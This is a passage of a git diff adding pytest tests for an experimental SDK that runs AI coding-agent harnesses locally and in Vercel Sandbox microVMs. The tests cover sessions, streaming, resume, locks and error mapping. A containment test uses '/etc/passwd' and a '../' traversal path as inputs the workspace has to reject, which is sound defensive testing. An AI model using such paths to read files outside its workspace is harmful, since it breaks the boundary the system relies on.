SPECS[harness_kind](workspace=ws, gateway=gw) + await agent.open() + await agent.session().run("Reply with exactly: OK") + await agent.detach() + await asyncio.sleep(3) + assert await alive(ws), "detach() must leave the harness running" + async with VercelSandbox(name=name, keep=False): + pass diff --git a/tests/harnesses/experimental/e2e/test_remote.py b/tests/harnesses/experimental/e2e/test_remote.py new file mode 100644 index 00000000..9c5488f2 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_remote.py @@ -0,0 +1,147 @@ +"""Every harness, driven inside a microVM instead of on this machine. + +The contract is that nothing about using the SDK changes: the same +factories, the same turns, the same results. What changes is where the +process lives — and these tests exist to prove that difference is +invisible. +""" + +from __future__ import annotations + +import pytest + +from ai.harnesses.experimental import Allow, ApprovalContext, Decision +from ai.types.events import TextDelta +from ai.types.messages import Message +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import SPECS, exact + +# Remote tests pay for a sandbox boot and a harness install before the +# first token, so the local 300s budget is not the right yardstick. +pytestmark = [ + pytest.mark.live, + pytest.mark.sandbox, + pytest.mark.slow, + pytest.mark.timeout(900), +] + + +async def test_a_turn_runs_in_the_microvm( + harness_kind: str, remote_workspace: Workspace +) -> None: + await remote_workspace.write_text( + "util.py", "def add(a, b):\n return a + b\n" + ) + + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + assert harness.version, "the CLI was found or installed in the VM" + result = await harness.run("Reply with exactly: READY") + + exact(result.text, "READY") + assert result.finish_reason == "stop" + assert result.usage.input_tokens > 0 + + +async def test_the_agent_reads_the_remote_workspace( + harness_kind: str, remote_workspace: Workspace +) -> None: + """The files it sees are the workspace's, not this machine's.""" + await remote_workspace.write_text( + "util.py", "def multiply(a, b):\n return a * b\n" + ) + + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + result = await harness.run( + "Read util.py in the current directory and reply with the " + + "function name only." + ) + + exact(result.text, "multiply") + + +async def test_the_agent_writes_to_the_remote_workspace( + harness_kind: str, remote_workspace: Workspace +) -> None: + async def approve(ctx: ApprovalContext) -> Decision: + return Allow() + + async with SPECS[harness_kind]( + workspace=remote_workspace, approve=approve + ) as harness: + await harness.run( + "Write the word HELLO into greeting.txt, then reply DONE." + ) + + assert await remote_workspace.exists("greeting.txt") + assert "HELLO" in await remote_workspace.read_text("greeting.txt") + + +async def test_streaming_works_over_the_wire( + harness_kind: str, remote_workspace: Workspace +) -> None: + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + session = harness.session() + turn = session.stream("Reply with exactly: STREAMED") + streamed = "".join( + [e.chunk async for e in turn if isinstance(e, TextDelta)] + ) + + assert "STREAMED" in streamed + assert streamed.strip() == turn.result.text.strip() + + +async def test_a_conversation_remembers_across_turns( + harness_kind: str, remote_workspace: Workspace +) -> None: + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + session = harness.session() + await session.run("Remember this codeword: PLATYPUS. Reply OK.") + answer = await session.run( + "What codeword did I give you? Reply with the word only." + ) + + assert "PLATYPUS" in answer.text.upper() + + +async def test_sessions_are_the_harness_own_wherever_it_runs( + harness_kind: str, remote_workspace: Workspace +) -> None: + """The conversation store lives WHERE THE HARNESS RUNS, and listing, + reading and forking must read it there. + + Measured before the fix: claude's `sessions()` returned `[]` for a + conversation that had just happened in the VM, because the adapter read + this machine's `~/.claude/projects` for a `/vercel/sandbox` project. + Codex was unaffected — its listing is an RPC into the VM. + """ + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + session = harness.session() + await session.run( + "Remember this codeword: PLATYPUS. Reply with exactly: OK" + ) + sid = session.session_id + + listed = await harness.sessions() + assert sid in {s.session_id for s in listed}, [ + s.session_id for s in listed + ] + # Each entry says whose it is, so a list gathered across harnesses + # is self-describing. + assert all(s.kind == harness.kind for s in listed) + + history = await harness.history(sid) + assert any("PLATYPUS" in _text(m) for m in history), history + + branch = await harness.fork(sid) + assert branch.session_id != sid + result = await branch.run( + "What codeword did I give you? Reply with the word only." + ) + + assert "PLATYPUS" in result.text.upper() + + +def _text(message: Message) -> str: + from ai.types.messages import TextPart + + return "".join(p.text for p in message.parts if isinstance(p, TextPart)) diff --git a/tests/harnesses/experimental/e2e/test_run.py b/tests/harnesses/experimental/e2e/test_run.py new file mode 100644 index 00000000..4ea3d266 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_run.py @@ -0,0 +1,191 @@ +"""One-shot runs: the simplest thing the SDK must do, on every harness.""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest +from pydantic import BaseModel + +from ai.harnesses.experimental import Harness +from ai.types.messages import Message, TextPart, ToolCallPart +from tests.harnesses.experimental.conftest import exact + +pytestmark = pytest.mark.live + + +async def test_run_returns_text_usage_and_finish_reason( + any_harness: Harness, +) -> None: + result = await any_harness.run("Reply with exactly: READY") + + exact(result.text, "READY") + # The AI SDK's vocabulary (gen_ai semconv), not one we invented. + assert result.finish_reason == "stop" + # Token accounting is the AI SDK's Usage model. 0 means "not disclosed"; + # both harnesses do disclose input/output, so this must be real. + assert result.usage.input_tokens > 0 + assert result.usage.output_tokens > 0 + + +async def test_run_result_carries_ai_sdk_messages(any_harness: Harness) -> None: + result = await any_harness.run("Reply with exactly: READY") + + assert result.messages, "a settled turn always carries its conversation" + assert all(isinstance(m, Message) for m in result.messages) + assert result.messages[0].role == "user" + assert result.messages[-1].role == "assistant" + + +async def test_run_is_stateless_between_calls(any_harness: Harness) -> None: + """`any_harness.run()` is a throwaway conversation. Two runs share + nothing.""" + await any_harness.run("Remember this codeword and reply OK: PLATYPUS") + second = await any_harness.run( + "What codeword were you just asked to remember? " + + "If you were not given one, reply exactly: NONE" + ) + + assert "PLATYPUS" not in second.text.upper() + + +class RepoSummary(BaseModel): + name: str + languages: list[str] + + +async def test_structured_output_returns_a_validated_instance( + any_harness: Harness, +) -> None: + result = await any_harness.run( + "Summarize this project. The name is 'demo'.", output_type=RepoSummary + ) + + assert isinstance(result.output, RepoSummary) + assert result.output.name + assert isinstance(result.output.languages, list) + + +async def test_structured_output_is_opt_in(any_harness: Harness) -> None: + """Without output_type the plain path is untouched: no schema, no output.""" + result = await any_harness.run("Reply with exactly: READY") + + assert result.output is None + assert ( + "schema" not in result.prompt_sent.lower() + ), "the SDK must not edit a prompt it was not asked to annotate" + + +async def test_structured_output_annotation_is_inspectable( + any_harness: Harness, +) -> None: + """When the SDK DOES edit the prompt, the caller can see exactly what + went.""" + result = await any_harness.run( + "Summarize this project.", output_type=RepoSummary + ) + + assert "Summarize this project." in result.prompt_sent + assert ( + "languages" in result.prompt_sent + ), "the schema the agent actually saw" + + +@pytest.mark.slow +async def test_timeout_settles_as_cancelled_rather_than_raising( + any_harness: Harness, +) -> None: + """A deadline is a settlement, not an exception. + + The prompt has to genuinely outlive the deadline: asking a model to + "count slowly" does not — it delegates to a shell command and answers in + six seconds. Emitting thousands of tokens directly is what actually + holds a turn open. + """ + result = await any_harness.run( + "Write the numbers 1 through 2000 separated by newlines, " + + "typing them out yourself. Output nothing else.", + timeout=10, + ) + + assert result.finish_reason == "cancelled" + assert not result.approval_errors + + +@pytest.mark.slow +async def test_an_interrupted_turn_keeps_what_it_streamed( + any_harness: Harness, +) -> None: + """Partial work survives an interruption — the whole reason a cancelled + turn is a settlement rather than a loss. + + The interrupt is triggered by OBSERVING streamed text rather than by a + wall-clock guess: whether a model has started typing within N seconds is + not something a test should bet on. + """ + from ai.types.events import TextDelta + + session = any_harness.session() + turn = session.stream( + "Write the numbers 1 through 2000 separated by newlines, " + + "typing them out yourself. Output nothing else." + ) + + async for event in turn: + if isinstance(event, TextDelta) and event.chunk.strip(): + await session.stop() + break + + assert turn.result.cancelled + assert turn.result.text, "whatever the any_harness streamed before the stop" + + +async def test_text_is_the_final_message_not_the_narration( + any_make_harness: Callable[..., Any], +) -> None: + """`result.text` is what the agent said AFTER its last action. + + Agents narrate before acting — "I'll write the file now" — and that + narration is real, it belongs in the transcript. It does not belong + glued onto the answer. Measured before the fix on claude: + 'I\'ll write "HELLO" to greeting.txt…for you.Done! The file…' + Codex drops its `commentary` in the adapter; the session has to draw + the same line for every any_harness. + """ + async with any_make_harness(writable=True) as any_harness: + result = await any_harness.run( + "First, in one short sentence, tell me you are about to start. " + + "Then write the word HELLO into hi.txt. " + + "Then reply with exactly: DONE" + ) + + final = result.messages[-1] + assert any( + isinstance(p, ToolCallPart) for p in final.parts + ), "the prompt is meant to make the agent use a tool" + assert result.text.strip() == "DONE", result.text + # The invariant, stated directly: nothing said BEFORE the last tool call + # is in `.text`. Whether that narration is kept in the transcript is the + # any_harness's business — claude keeps it, codex labels it `commentary` + # and the adapter drops it — and `.text` must be the same either way. + last_call = max( + i for i, p in enumerate(final.parts) if isinstance(p, ToolCallPart) + ) + for narration in final.parts[:last_call]: + if isinstance(narration, TextPart) and narration.text.strip(): + assert narration.text.strip() not in result.text, narration.text + + +@pytest.mark.parametrize("effort", ["low", "max"]) +async def test_effort_is_accepted_on_both_harnesses( + any_make_harness: Callable[..., Any], effort: str +) -> None: + """`effort=` reaches the CLI: a turn with it settles normally, and the + handle remembers it so a resume reproduces the configuration.""" + async with any_make_harness(effort=effort) as harness: + session = harness.session() + result = await session.run("Reply with exactly: READY") + exact(result.text, "READY") + assert result.finish_reason == "stop" + assert session.handle.options["effort"] == effort diff --git a/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py b/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py new file mode 100644 index 00000000..a9b84c9f --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py @@ -0,0 +1,111 @@ +"""What a sandbox reference means over time: gone, unreachable, reopened. + +A caller that keeps sandbox names (afk does) must be told the difference +between a sandbox that no longer exists and one it merely cannot reach, or +it forgets running machines. And one workspace object closed and opened +again may be a different VM: nothing learned about the first may leak. +""" + +from __future__ import annotations + +import uuid + +import pytest + +from ai.workspaces.experimental import VercelSandbox +from ai.workspaces.experimental.errors import WorkspaceError, WorkspaceGoneError +from tests.workspaces.experimental.conftest import sandbox_credentials + +pytestmark = [pytest.mark.sandbox, pytest.mark.timeout(300)] + + +@pytest.fixture +def creds() -> None: + """The sandbox reads its credentials from the environment; skip + without them.""" + if sandbox_credentials() is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + + +async def test_a_sandbox_that_does_not_exist_is_gone(creds: None) -> None: + with pytest.raises(WorkspaceGoneError): + await VercelSandbox(name=f"ai-no-such-{uuid.uuid4().hex[:10]}").open() + + +async def test_a_stopped_sandbox_is_gone(creds: None) -> None: + async with VercelSandbox(keep=False) as ws: + name = ws.name + assert name + with pytest.raises(WorkspaceGoneError): + await VercelSandbox(name=name).open() + + +async def test_a_sandbox_that_cannot_be_reached_is_not_gone() -> None: + """Bad credentials stand in for any failure to ask: the platform never + answered about the sandbox, so nobody may conclude it is gone.""" + with pytest.raises(WorkspaceError) as caught: + await VercelSandbox( + name="whatever", + token="not-a-real-token", + team_id="team_x", + project_id="prj_x", + ).open() + assert not isinstance(caught.value, WorkspaceGoneError) + + +async def test_a_reopened_workspace_learns_its_new_vm_afresh( + creds: None, +) -> None: + """Closing and opening the same object makes a new VM. + + Its home and its pty scripts are its own: a pty started there must work. + """ + ws = VercelSandbox(keep=False) + await ws.open() + first = ws.name + p = await ws.pty(["sh", "-c", "echo first-vm"]) + await p.close() + await ws.close() + await ws.open() + try: + assert ws.name and ws.name != first, "no name means a fresh VM" + p = await ws.pty(["sh", "-c", "echo second-vm; exit 3"]) + seen = b"" + while chunk := await p.receive(): + seen += chunk + assert ( + b"second-vm" in seen + ), "the scripts must be uploaded into the new VM too" + assert await p.wait() == 3 + finally: + await ws.close() + + +async def test_a_transcript_the_sdk_writes_is_dated_now(creds: None) -> None: + """Files written through the sandbox's file API are stamped 1970, and a + running claude CLI deletes transcripts it takes for ancient — a fork's + file once vanished before its CLI could resume it.""" + import time + + from claude_agent_sdk.types import SessionKey + + from ai.harnesses.experimental._adapters.claude_store import ( + WorkspaceSessionStore, + ) + + async with VercelSandbox(keep=False) as ws: + store = await WorkspaceSessionStore.discover(ws) + key: SessionKey = { + "project_key": "-vercel-sandbox", + "session_id": str(uuid.uuid4()), + } + await store.append(key, [{"type": "user", "uuid": str(uuid.uuid4())}]) + path = store._path(key) + mtime = float( + (await ws.exec(["stat", "-c", "%Y", path])).stdout.strip() + ) + assert ( + abs(mtime - time.time()) < 600 + ), f"transcript dated {time.ctime(mtime)}" diff --git a/tests/harnesses/experimental/e2e/test_session_lock.py b/tests/harnesses/experimental/e2e/test_session_lock.py new file mode 100644 index 00000000..84dbd66b --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_session_lock.py @@ -0,0 +1,85 @@ +"""One writer per conversation — on both harnesses, at both locations. + +Codex enforces this natively; the SDK's workspace lock gives claude the same +behaviour. Every assertion here must hold identically for both, which is +the whole point of enforcing it ourselves. +""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest + +from ai.harnesses.experimental.errors import SessionBusyError +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import SPECS, exact + +pytestmark = pytest.mark.live + + +async def test_a_held_session_refuses_a_second_writer_and_frees_on_close( + harness_kind: str, + any_workspace: Workspace, + any_make_harness: Callable[..., Any], +) -> None: + async with any_make_harness() as first: + session = first.session() + await session.run("Remember the codeword GAMMA. Reply with exactly: OK") + sid = session.session_id + + second = SPECS[harness_kind](workspace=any_workspace) + await second.open() + try: + with pytest.raises(SessionBusyError): + await second.resume(sid) + listed = {i.session_id: i for i in await second.sessions()} + assert listed[sid].running, "a listing must say who is held open" + # Forking never writes the original: always allowed. + forked = await second.fork(sid) + result = await forked.run( + "What is the codeword? Reply with the single word only." + ) + exact(result.text, "GAMMA") + finally: + await second.close() + + # The first client closed: its claim is gone, and resume is fine. + third = SPECS[harness_kind](workspace=any_workspace) + await third.open() + try: + before = {i.session_id: i for i in await third.sessions()} + assert not before[sid].running, "close() must release the claim" + picked = await third.resume(sid) + result = await picked.run( + "What is the codeword? Reply with the single word only." + ) + exact(result.text, "GAMMA") + finally: + await third.close() + + +async def test_detach_keeps_the_claim( + harness_kind: str, any_workspace: Workspace +) -> None: + """A detached client let go of its connection, not of the conversation: + the process is still the writer, so a newcomer is still refused.""" + if any_workspace.kind == "local": + pytest.skip( + "a local process dies with its client; detach is close there" + ) + first = SPECS[harness_kind](workspace=any_workspace) + await first.open() + session = first.session() + await session.run("Reply with exactly: OK") + sid = session.session_id + await first.detach() + + second = SPECS[harness_kind](workspace=any_workspace) + await second.open() + try: + with pytest.raises(SessionBusyError): + await second.resume(sid) + finally: + await second.close() diff --git a/tests/harnesses/experimental/e2e/test_sessions.py b/tests/harnesses/experimental/e2e/test_sessions.py new file mode 100644 index 00000000..2627270e --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_sessions.py @@ -0,0 +1,149 @@ +"""Sessions: memory across turns, and resuming one from another process.""" + +from __future__ import annotations + +import json + +import pytest + +from ai.harnesses.experimental import Handle, Harness, harness_from +from ai.workspaces.experimental import Local, Workspace +from tests.harnesses.experimental.conftest import requires + +pytestmark = pytest.mark.live + + +async def test_a_session_remembers_across_turns(any_harness: Harness) -> None: + session = any_harness.session() + + await session.run("Remember this codeword: PLATYPUS. Reply OK.") + second = await session.run( + "What codeword did I give you? Reply with the word only." + ) + + assert "PLATYPUS" in second.text.upper() + + +async def test_sessions_are_isolated_from_each_other( + any_harness: Harness, +) -> None: + first, second = any_harness.session(), any_harness.session() + + await first.run("Remember this codeword: PLATYPUS. Reply OK.") + answer = await second.run( + "What codeword were you given? If none, reply exactly: NONE" + ) + + assert "PLATYPUS" not in answer.text.upper() + + +async def test_messages_accumulate_as_ai_sdk_messages( + any_harness: Harness, +) -> None: + session = any_harness.session() + + await session.run("Reply with exactly: ONE") + await session.run("Reply with exactly: TWO") + + roles = [m.role for m in session.messages] + assert roles.count("user") >= 2 + assert roles.count("assistant") >= 2 + assert "ONE" in " ".join(m.text for m in session.messages) + + +async def test_handle_is_plain_json(any_harness: Harness) -> None: + session = any_harness.session() + await session.run("Reply with exactly: READY") + + payload = session.handle.model_dump_json() + restored = Handle.model_validate_json(payload) + + assert json.loads(payload)["session_id"] + assert restored == session.handle + assert "approve" not in json.loads( + payload + ), "callbacks are process-local, never serialized" + + +@pytest.mark.slow +async def test_resume_continues_the_exact_conversation( + harness: Harness, workspace: Workspace +) -> None: + requires(harness, "resume") + session = harness.session() + await session.run("Remember this codeword: PLATYPUS. Reply OK.") + handle = session.handle + + # Everything above could have happened in another process, yesterday. + await harness.close() + + async with harness_from(handle) as resumed: + answer = await resumed.run( + "What codeword did I give you? Reply with the word only." + ) + + assert "PLATYPUS" in answer.text.upper() + + +async def test_resume_rejects_an_unknown_session(workspace: Workspace) -> None: + handle = Handle( + kind="claude-code", + session_id="00000000-0000-0000-0000-000000000000", + workspace=Local(workspace.path).coords, + options={}, + ) + + with pytest.raises(Exception, match="resume"): + async with harness_from(handle): + pass + + +async def test_session_info_names_its_harness(any_harness: Harness) -> None: + """A session id alone cannot tell you which any_harness to load it with; + the listing must. `Handle.kind` already does this for a saved handle.""" + session = any_harness.session() + await session.run("Reply with exactly: READY") + + listed = await any_harness.sessions() + mine = next(s for s in listed if s.session_id == session.session_id) + assert mine.kind == any_harness.kind == session.handle.kind + + +@pytest.mark.sandbox +async def test_resume_into_a_sandbox_is_refused_with_a_reason( + harness_kind: str, +) -> None: + """A handle from a sandbox names a machine that no longer exists. + + Resuming it must refuse — never quietly point at some other VM — and the + refusal must tell the caller what to do instead (resume in a new workspace). + """ + import os + + from ai.harnesses.experimental import harness_from + from ai.workspaces.experimental import VercelSandbox + from ai.workspaces.experimental._gateway import vercel_ai_gateway + from ai.workspaces.experimental.errors import WorkspaceError + from tests.harnesses.experimental.conftest import SPECS + from tests.workspaces.experimental.conftest import sandbox_credentials + + creds = sandbox_credentials() + if creds is None: + pytest.skip("needs Vercel Sandbox credentials") + if not os.environ.get("AI_GATEWAY_API_KEY"): + pytest.skip("needs AI_GATEWAY_API_KEY: the VM has no login of its own") + # A bare VM: the harness must bring its own way to reach a model, or + # this test fails on authentication before it ever reaches the refusal. + async with VercelSandbox(**creds, execution_time_limit=900) as ws: + async with SPECS[harness_kind]( + workspace=ws, gateway=vercel_ai_gateway() + ) as harness: + session = harness.session() + await session.run("Reply with exactly: OK") + saved = session.handle.model_dump_json() + + from ai.harnesses.experimental import Handle + + with pytest.raises(WorkspaceError, match="resume"): + async with harness_from(Handle.model_validate_json(saved)): + pass diff --git a/tests/harnesses/experimental/e2e/test_stream.py b/tests/harnesses/experimental/e2e/test_stream.py new file mode 100644 index 00000000..d7959b92 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_stream.py @@ -0,0 +1,165 @@ +"""Streaming: the turn is an event stream of AI SDK events, then a result. + +The contract that keeps this simple: a Turn is READ-ONLY. It yields events +and holds the settled result. Control lives on the Session (see +test_control.py), so there is no dual awaitable/iterable object and no way +to consume a turn twice. +""" + +from __future__ import annotations + +import pytest + +from ai.harnesses.experimental import Harness +from ai.types.events import ( + Event, + ModelEvent, + StreamEnd, + TextDelta, + TextEnd, + ToolEnd, + ToolStart, +) +from ai.types.messages import TextPart, ToolResultPart +from tests.harnesses.experimental.conftest import exact + +pytestmark = pytest.mark.live + + +async def test_stream_yields_ai_sdk_events(any_harness: Harness) -> None: + session = any_harness.session() + turn = session.stream("Reply with exactly: READY") + + events = [event async for event in turn] + + assert events, "a turn always emits something" + assert all(isinstance(e, Event) for e in events) + assert any(isinstance(e, TextDelta) for e in events) + assert isinstance(events[-1], StreamEnd) + + +async def test_text_deltas_reassemble_into_the_result_text( + any_harness: Harness, +) -> None: + session = any_harness.session() + turn = session.stream("Reply with exactly: READY") + + streamed = "".join( + [e.chunk async for e in turn if isinstance(e, TextDelta)] + ) + + assert "READY" in streamed + assert streamed.strip() == turn.result.text.strip() + + +async def test_result_is_available_after_iteration( + any_harness: Harness, +) -> None: + session = any_harness.session() + turn = session.stream("Reply with exactly: READY") + + async for _ in turn: + pass + + assert turn.result.finish_reason == "stop" + exact(turn.result.text, "READY") + + +async def test_reading_the_result_before_settling_is_an_error( + any_harness: Harness, +) -> None: + """No silent empty result: ask too early and you are told, not misled.""" + session = any_harness.session() + turn = session.stream("Reply with exactly: READY") + + with pytest.raises(RuntimeError, match="not settled"): + _ = turn.result + + async for _ in turn: + pass + assert turn.result.text + + +async def test_tool_calls_appear_as_tool_events(any_harness: Harness) -> None: + session = any_harness.session() + turn = session.stream("Read util.py and reply with the function name only.") + + starts, ends = [], [] + async for event in turn: + if isinstance(event, ToolStart): + starts.append(event) + elif isinstance(event, ToolEnd): + ends.append(event) + + assert starts, "reading a file must surface as a tool call" + assert {e.tool_call_id for e in ends} <= {e.tool_call_id for e in starts} + exact(turn.result.text, "add") + + +async def test_a_turn_cannot_be_iterated_twice(any_harness: Harness) -> None: + session = any_harness.session() + turn = session.stream("Reply with exactly: READY") + + first = [e async for e in turn] + second = [e async for e in turn] + + assert first + assert ( + second == [] + ), "a consumed stream is exhausted, never silently replayed" + + +async def test_every_event_carries_the_message_so_far( + any_harness: Harness, +) -> None: + """The AI SDK's contract: a streamed event's `.message` is the assistant + message accumulated up to that point, so nobody has to reassemble + deltas by hand. This SDK once broke it by discarding the hydrator's + annotated copy — every event's `.message` was an empty placeholder + until StreamEnd, and a consumer wanting "the complete text" had to + build it themselves. + """ + session = any_harness.session() + turn = session.stream("Read util.py and reply with the function name only.") + + seen_parts = 0 + async for event in turn: + if not isinstance(event, ModelEvent): + # A tool result opens a new assistant segment. + seen_parts = 0 + continue + assert ( + event.message.id != "" + ), f"{event.kind} carried the placeholder" + # The message an assistant event describes is the assistant's, never + # the tool message that happened to arrive just before it. + assert ( + event.message.role == "assistant" + ), f"{event.kind} landed on a {event.message.role} message" + # Within a segment parts accumulate; nothing already streamed + # disappears. + assert len(event.message.parts) >= seen_parts + seen_parts = len(event.message.parts) + + if isinstance(event, TextEnd): + # The part this event completed is on the message, whole. + done = next( + p for p in event.message.parts if p.id == event.block_id + ) + assert isinstance(done, TextPart) + assert done.text.strip(), "TextEnd arrived with no accumulated text" + if isinstance(event, ToolEnd): + # The complete call rides on the event itself. + assert event.tool_call.tool_name + assert event.tool_call.tool_args.strip().startswith("{") + + # And the settled result is unchanged by any of this. + exact(turn.result.text, "add") + # History was never quietly rewritten: a tool message holds tool results + # and nothing else, under its own id. + tool_messages = [m for m in session.messages if m.role == "tool"] + assert tool_messages, "the prompt is meant to make the agent use a tool" + assistant_ids = {m.id for m in session.messages if m.role == "assistant"} + for m in tool_messages: + assert all(isinstance(p, ToolResultPart) for p in m.parts), m.parts + assert m.id not in assistant_ids diff --git a/tests/harnesses/experimental/e2e/test_workspace.py b/tests/harnesses/experimental/e2e/test_workspace.py new file mode 100644 index 00000000..ef102d52 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_workspace.py @@ -0,0 +1,119 @@ +"""The workspace contract, proven identical on both implementations. + +Every test in this module runs twice: once against a local directory and +once inside a Vercel Sandbox microVM. If a behavior cannot be stated the +same way for both, the abstraction is wrong and this file is where that +shows up. +""" + +from __future__ import annotations + +import pytest + +from ai.workspaces.experimental import Workspace +from tests.harnesses.experimental.conftest import SPECS, exact + +pytestmark = pytest.mark.live + + +async def test_write_then_read_round_trip(any_workspace: Workspace) -> None: + await any_workspace.write_text("notes/today.md", "hello\n") + + assert await any_workspace.exists("notes/today.md") + assert await any_workspace.read_text("notes/today.md") == "hello\n" + + +async def test_missing_file_raises_rather_than_returning_empty( + any_workspace: Workspace, +) -> None: + assert not await any_workspace.exists("nope.txt") + with pytest.raises(FileNotFoundError): + await any_workspace.read_text("nope.txt") + + +async def test_exec_returns_output_and_exit_code( + any_workspace: Workspace, +) -> None: + await any_workspace.write_text("hello.txt", "from the workspace\n") + + result = await any_workspace.exec(["cat", "hello.txt"]) + + assert result.exit_code == 0 + assert "from the workspace" in result.stdout + + failed = await any_workspace.exec(["cat", "does-not-exist"]) + assert failed.exit_code != 0 + assert failed.stderr + + +async def test_spawn_streams_output(any_workspace: Workspace) -> None: + process = await any_workspace.spawn(["echo", "ping"]) + + line = await process.readline() + + assert line.strip() == "ping" + await process.terminate() + assert await process.wait() is not None + + +async def test_duplex_spawn_works_or_refuses_clearly( + any_workspace: Workspace, +) -> None: + """Writing to a spawned process is what lets an adapter drive a harness CLI. + + Where the platform has no stdin channel at all — Vercel Sandbox — the + workspace must SAY so and refuse, not hand back a process whose writes fail + somewhere less obvious later. + """ + process = await any_workspace.spawn(["cat"]) + try: + if any_workspace.duplex_spawn: + await process.write("ping\n") + assert (await process.readline()).strip() == "ping" + else: + with pytest.raises(Exception, match="stdin"): + await process.write("ping\n") + finally: + await process.terminate() + + +async def test_containment_is_decided_by_the_workspace( + any_workspace: Workspace, +) -> None: + """Never the caller's pathlib: for a remote workspace those paths do not + exist on this machine at all.""" + assert any_workspace.contains(f"{any_workspace.path}/util.py") + assert not any_workspace.contains("/etc/passwd") + assert not any_workspace.contains(f"{any_workspace.path}/../escape.txt") + assert not any_workspace.contains( + "relative/path.txt" + ), "a relative path cannot be judged from here; deny rather than guess" + + +async def test_reachable_url_addresses_a_port_from_the_agent_side( + any_workspace: Workspace, +) -> None: + url = await any_workspace.reachable_url(8931) + + assert url.startswith("http") + assert "8931" in url or any_workspace.kind != "local" + + +@pytest.mark.sandbox +@pytest.mark.slow +async def test_a_harness_runs_the_same_in_a_sandbox( + harness_kind: str, remote_workspace: Workspace +) -> None: + """The parity test that matters: identical code, identical result, + a different machine.""" + await remote_workspace.write_text( + "util.py", "def add(a, b):\n return a + b\n" + ) + + async with SPECS[harness_kind](workspace=remote_workspace) as harness: + result = await harness.run( + "Read util.py and reply with the function name only." + ) + + exact(result.text, "add") + assert result.usage.input_tokens > 0 diff --git a/tests/harnesses/experimental/test_errors.py b/tests/harnesses/experimental/test_errors.py new file mode 100644 index 00000000..634d0293 --- /dev/null +++ b/tests/harnesses/experimental/test_errors.py @@ -0,0 +1,65 @@ +"""An upstream 401 must arrive as something the caller can act on. + +This is a pure mapping test on purpose. The behaviour it guards was found +the expensive way — a turn inside a sandbox that failed with +`unexpected status 401 Unauthorized ... api.openai.com` and no indication +that the missing thing was a key in the VM, not a key on the machine +running the SDK. +""" + +from __future__ import annotations + +import pytest + +from ai.harnesses.experimental.errors import ( + TurnFailedError, + _looks_unauthenticated, +) +from ai.workspaces.experimental.errors import NotAuthenticatedError + +CREDENTIALS = [ + # Codex, verbatim, against a sandbox with no provider configured. + "unexpected status 401 Unauthorized: Missing bearer or basic " + + "authentication in header, url: https://api.openai.com/v1/responses", + # Claude, verbatim, against a sandbox with no key. + "Not logged in · Please run /login", + "invalid_api_key: incorrect API key provided", +] + +NOT_CREDENTIALS = [ + "", + "the model declined to answer", + # Authorization, not authentication: sending someone to fix their + # login when their key simply lacks access wastes their afternoon. + "403 Forbidden", + "rate limit exceeded", + "connection reset by peer", +] + + +@pytest.mark.parametrize("detail", CREDENTIALS) +def test_credential_failures_are_recognised(detail: str) -> None: + assert _looks_unauthenticated(detail) + + +@pytest.mark.parametrize("detail", NOT_CREDENTIALS) +def test_other_failures_are_left_alone(detail: str) -> None: + assert not _looks_unauthenticated(detail) + + +def test_codex_raises_not_authenticated_with_a_hint() -> None: + from ai.harnesses.experimental._adapters.codex import _turn_failure + + error = _turn_failure(CREDENTIALS[0]) + assert isinstance(error, NotAuthenticatedError) + # The hint has to name the fix, not just the problem. + assert "OPENAI_API_KEY" in str(error) + assert "config=" in str(error) or "config={" in str(error) + + +def test_an_ordinary_failure_is_still_a_turn_failure() -> None: + from ai.harnesses.experimental._adapters.codex import _turn_failure + + error = _turn_failure("the tool crashed") + assert isinstance(error, TurnFailedError) + assert not isinstance(error, NotAuthenticatedError) diff --git a/tests/harnesses/experimental/test_extras.py b/tests/harnesses/experimental/test_extras.py new file mode 100644 index 00000000..779f0f45 --- /dev/null +++ b/tests/harnesses/experimental/test_extras.py @@ -0,0 +1,43 @@ +"""The claude-code extra is checked when the harness is built, not later. + +These run with or without the extra installed: a `None` entry in +`sys.modules` makes the import fail the way a missing package does. +""" + +import subprocess +import sys + +import pytest + +import ai +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +def test_claude_code_needs_its_extra( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setitem(sys.modules, "claude_agent_sdk", None) + with pytest.raises(ai.InstallationError, match=r"ai\[claude-code\]"): + harnesses.claude_code(workspace=workspaces.Local(".")) + + +def test_codex_needs_no_extra(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setitem(sys.modules, "claude_agent_sdk", None) + harness = harnesses.codex(workspace=workspaces.Local(".")) + assert harness.name == "codex" + + +def test_import_ai_loads_no_optional_harness_package() -> None: + code = ( + "import sys, ai\n" + "from ai.harnesses.experimental import *\n" + "from ai.workspaces.experimental import *\n" + "loaded = [m for m in sys.modules\n" + " if m.split('.')[0] == 'claude_agent_sdk'\n" + " or m.startswith('vercel.sandbox')]\n" + "assert not loaded, loaded\n" + "assert 'termios' not in sys.modules or sys.platform != 'win32'\n" + "assert 'ai.workspaces.experimental.tty' not in sys.modules\n" + ) + subprocess.run([sys.executable, "-c", code], check=True) diff --git a/tests/harnesses/experimental/test_handoff.py b/tests/harnesses/experimental/test_handoff.py new file mode 100644 index 00000000..6b1bbeb0 --- /dev/null +++ b/tests/harnesses/experimental/test_handoff.py @@ -0,0 +1,151 @@ +"""The rendering rule, pinned without a network. + +Text verbatim; tool calls as native items with the ORIGINAL name and +arguments; tool results as strings bound to their call; reasoning as a +user-role note after the turn it belonged to. 